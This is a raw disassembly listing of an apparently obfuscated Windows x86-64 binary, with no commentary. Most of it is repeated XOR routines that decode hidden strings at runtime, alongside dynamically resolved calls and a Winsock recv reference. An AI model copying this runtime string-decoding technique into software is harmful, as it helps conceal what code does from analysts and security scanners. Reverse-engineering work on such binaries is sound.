movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140034ca0
lea r9, [rbp + 0x90]
mov r8d, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140034c70
call fcn.14003d060
mov rsi, rax
movzx ecx, word [0x1408d0cfc]
mov word [rbp + 0x80], cx
cmp byte [0x1408d0cfd], 0
je 0x140034cd1
mov byte [rbp + 0x80], Ordinal_50
xor byte [rbp + 0x81], 0x34
lea rcx, [rbp + 0x80]
call fcn.140132c5c
mov ecx, eax
call rsi
lea rdx, [r13 + 0xb0]
lea rcx, [rbp + 0x1f0]
call fcn.14004fb60
test al, al
jne 0x140035421
mov byte [0x140919288], 1
call fcn.140041a80
lea rcx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rcx, qword [rbp + 0x160]
call rax
mov rcx, qword [rbp + 0x200]
test rcx, rcx
je 0x140034d44
jle 0x140034d3d
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0x200], rbx
lea rcx, [rbp + 0x1f0]
call fcn.140050470
movups xmm0, xmmword [0x1408d1800]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408d1810]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x1408d1820]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1408d1830]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x1408d1840]
movups xmmword [rbp + 0x110], xmm0
movsd xmm0, qword [0x1408d1850]
movsd qword [rbp + 0x120], xmm0
mov eax, dword [0x1408d1858]
mov dword [rbp + 0x128], eax
mov rax, qword [str._U_RUWA:_U_RUWA]
mov qword [rbp + 0x90], rax
call fcn.1400402a0
mov r10, rax
cmp byte [rbp + 0x97], 0
je 0x140034f20
cmp edi, 2
jl 0x140034ee2
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140034f20
lea r9, [rbp + 0x90]
mov r8d, ebx
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140034ef0
cmp byte [rbp + 0x12b], 0
je 0x1400350c0
mov r8d, ebx
cmp edi, 2
jl 0x140035075
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140034f70
cmp r8d, 0x5c
jge 0x1400350c0
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140035090
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x12b], 0
jne 0x140035280
mov r8d, ebx
cmp edi, 2
jl 0x140035235
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140035130
cmp r8d, 0x5c
jge 0x140035280
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140035250
cmp byte [rbp + 0x97], 0
jne 0x1400353e0
cmp edi, 2
jl 0x14003539d
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x1400353e0
lea r9, [rbp + 0x90]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400353b0
call fcn.14003d060
mov rsi, rax
movzx ecx, word [0x1408d0cfc]
mov word [rbp + 0x80], cx
cmp byte [0x1408d0cfd], 0
je 0x140035411
mov byte [rbp + 0x80], Ordinal_50
xor byte [rbp + 0x81], 0x34
lea rcx, [rbp + 0x80]
call fcn.140132c5c
mov ecx, eax
call rsi
mov rcx, qword [rbp + 0x200]
test rcx, rcx
je 0x140035444
jle 0x14003543d
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0x200], rbx
lea rcx, [rbp + 0x1f0]
call fcn.140050470
test al, al
jne 0x140035b4d
mov byte [0x140919288], 1
call fcn.140041a80
lea rcx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rcx, qword [rbp + 0x160]
call rax
movups xmm0, xmmword [0x1408d1460]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408d1470]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x1408d1480]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1408d1490]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x1408d14a0]
movups xmmword [rbp + 0x110], xmm0
movsd xmm0, qword [0x1408d14b0]
movsd qword [rbp + 0x120], xmm0
mov eax, dword [0x1408d14b8]
mov dword [rbp + 0x128], eax
mov rax, qword [str._U_RUWA:_U_RUWA]
mov qword [rbp + 0x90], rax
call fcn.1400402a0
mov r11, rax
cmp byte [rbp + 0x97], 0
je 0x140035650
cmp edi, 2
jl 0x14003560f
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140035650
lea r9, [rbp + 0x90]
mov r8d, ebx
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140035620
cmp byte [rbp + 0x12b], 0
je 0x1400357f0
mov r8d, ebx
cmp edi, 2
jl 0x1400357a5
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400356a0
cmp r8d, 0x5c
jge 0x1400357f0
movsxd rax, r8d
lea r10, [rbp + 0xd0]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x5c
jl 0x1400357c0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call r11
cmp byte [rbp + 0x12b], 0
jne 0x1400359b0
mov r8d, ebx
cmp edi, 2
jl 0x140035969
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140035860
cmp r8d, 0x5c
jge 0x1400359b0
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140035980
cmp byte [rbp + 0x97], 0
jne 0x140035b0c
cmp edi, 2
jl 0x140035acd
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140035b0c
lea r8, [rbp + 0x90]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, bl
sub al, cl
add al, 0x33
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 8
jl 0x140035ae0
call fcn.14003d060
mov rbx, rax
movzx ecx, word [0x1408d0cfc]
mov word [rbp + 0x80], cx
cmp byte [0x1408d0cfd], 0
je 0x140035b3d
mov byte [rbp + 0x80], Ordinal_50
xor byte [rbp + 0x81], 0x34
lea rcx, [rbp + 0x80]
call fcn.140132c5c
mov ecx, eax
call rbx
call fcn.140041a80
lea rcx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rcx, qword [rbp + 0x160]
call rax
nop
mov byte [rbp + 0x150], 0
xor edx, edx
lea rcx, [rbp + 0x158]
call fcn.14003c1d0
nop
lea rax, [rbp + 0x2b0]
mov qword [rbp + 0x90], rax
mov byte [rbp + 0x2b0], 0
xor eax, eax
mov qword [rbp + 0x2b8], rax
lea rdx, [r13 + 0x188]
lea rcx, [rbp + 0x2b0]
call fcn.14004c3f0
nop
lea r9, [rbp + 0x195]
mov r8d, 0xbf396750
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140035bc1
lea r8, [rbp + 0x195]
mov rdx, r9
lea rcx, [rsp + 0x40]
call fcn.140046700
nop
movzx eax, byte [rbp + 0x150]
test al, al
jne 0x140035c31
mov byte [rbp + 0x150], 1
call fcn.1400421f0
mov rcx, rax
mov qword [rbp + 0x158], rax
movzx eax, byte [rbp + 0x150]
jmp 0x140035c38
mov rcx, qword [rbp + 0x158]
cmp al, 1
jne 0x140036151
lea rdx, [rsp + 0x40]
call fcn.14003b9e0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x2b0]
mov byte [rax], cl
mov byte [rbp + 0x2b0], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x2b8]
mov qword [rax + 8], rdx
mov qword [rbp + 0x2b8], rcx
movzx edx, byte [rbp + 0x2b0]
lea rcx, [rbp + 0x2b8]
call fcn.14003b4e0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140035ccc
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035cc7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003622a
call fcn.140117d3c
lea rax, [rbp + 0x2b0]
mov qword [rbp + 0x80], rax
call fcn.14004d880
xor al, 1
mov byte [rbp + 0x2b0], 4
mov byte [rbp + 0x90], al
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x2b8], rax
lea r9, [rbp + 0x195]
mov r8d, 0x11667cd9
nop dword [rax]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140035d10
lea r8, [rbp + 0x195]
mov rdx, r9
lea rcx, [rsp + 0x40]
call fcn.140046700
nop
movzx eax, byte [rbp + 0x150]
test al, al
jne 0x140035d80
mov byte [rbp + 0x150], 1
call fcn.1400421f0
mov rcx, rax
mov qword [rbp + 0x158], rax
movzx eax, byte [rbp + 0x150]
jmp 0x140035d87
mov rcx, qword [rbp + 0x158]
cmp al, 1
jne 0x1400360f6
lea rdx, [rsp + 0x40]
call fcn.14003b9e0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x2b0]
mov byte [rax], cl
mov byte [rbp + 0x2b0], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x2b8]
mov qword [rax + 8], rdx
mov qword [rbp + 0x2b8], rcx
movzx edx, byte [rbp + 0x2b0]
lea rcx, [rbp + 0x2b8]
call fcn.14003b4e0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140035e1b
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035e16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036230
call fcn.140117d3c
lea rcx, [r13 + 0x260]
cmp qword [r13 + 0x278], 0xf
jbe 0x140035e37
mov rcx, qword [r13 + 0x260]
mov rax, qword [r13 + 0x270]
mov qword [rbp + 0x2b0], rcx
mov qword [rbp + 0x2b8], rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x150]
call fcn.140038bf0
nop
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140035e6f
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x90], rcx
mov qword [rbp + 0x98], rax
movaps xmm0, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp + 0x2b0], xmm0
movaps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm1
mov dword [rsp + 0x20], 7
lea r9, [rbp + 0x2b0]
xor r8d, r8d
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xd0]
call fcn.140022590
nop
mov r8, qword [rax + 0x18]
test r8, r8
je 0x140035f14
cmp qword [rax + 0x38], 0
je 0x140035f14
lea rdx, [rax + 8]
cmp qword [rdx + 0x18], 0xf
jbe 0x140035eef
mov rdx, qword [rdx]
mov rcx, qword [r13 + 8]
test rcx, rcx
je 0x140035f14
test rdx, rdx
je 0x140035f14
test r8d, r8d
js 0x140035f14
call fcn.140079760
nop
lea rcx, [rbp + 0xd0]
call fcn.140024bc0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140035f67
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035f61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036236
call fcn.140117d3c
nop
movzx edx, byte [rbp + 0x150]
lea rcx, [rbp + 0x158]
call fcn.14003b4e0
nop
lea rcx, [rbp + 0x1f0]
call fcn.14004e2a0
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r15
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.140016340
mov rax, qword [rsp + 0x70]
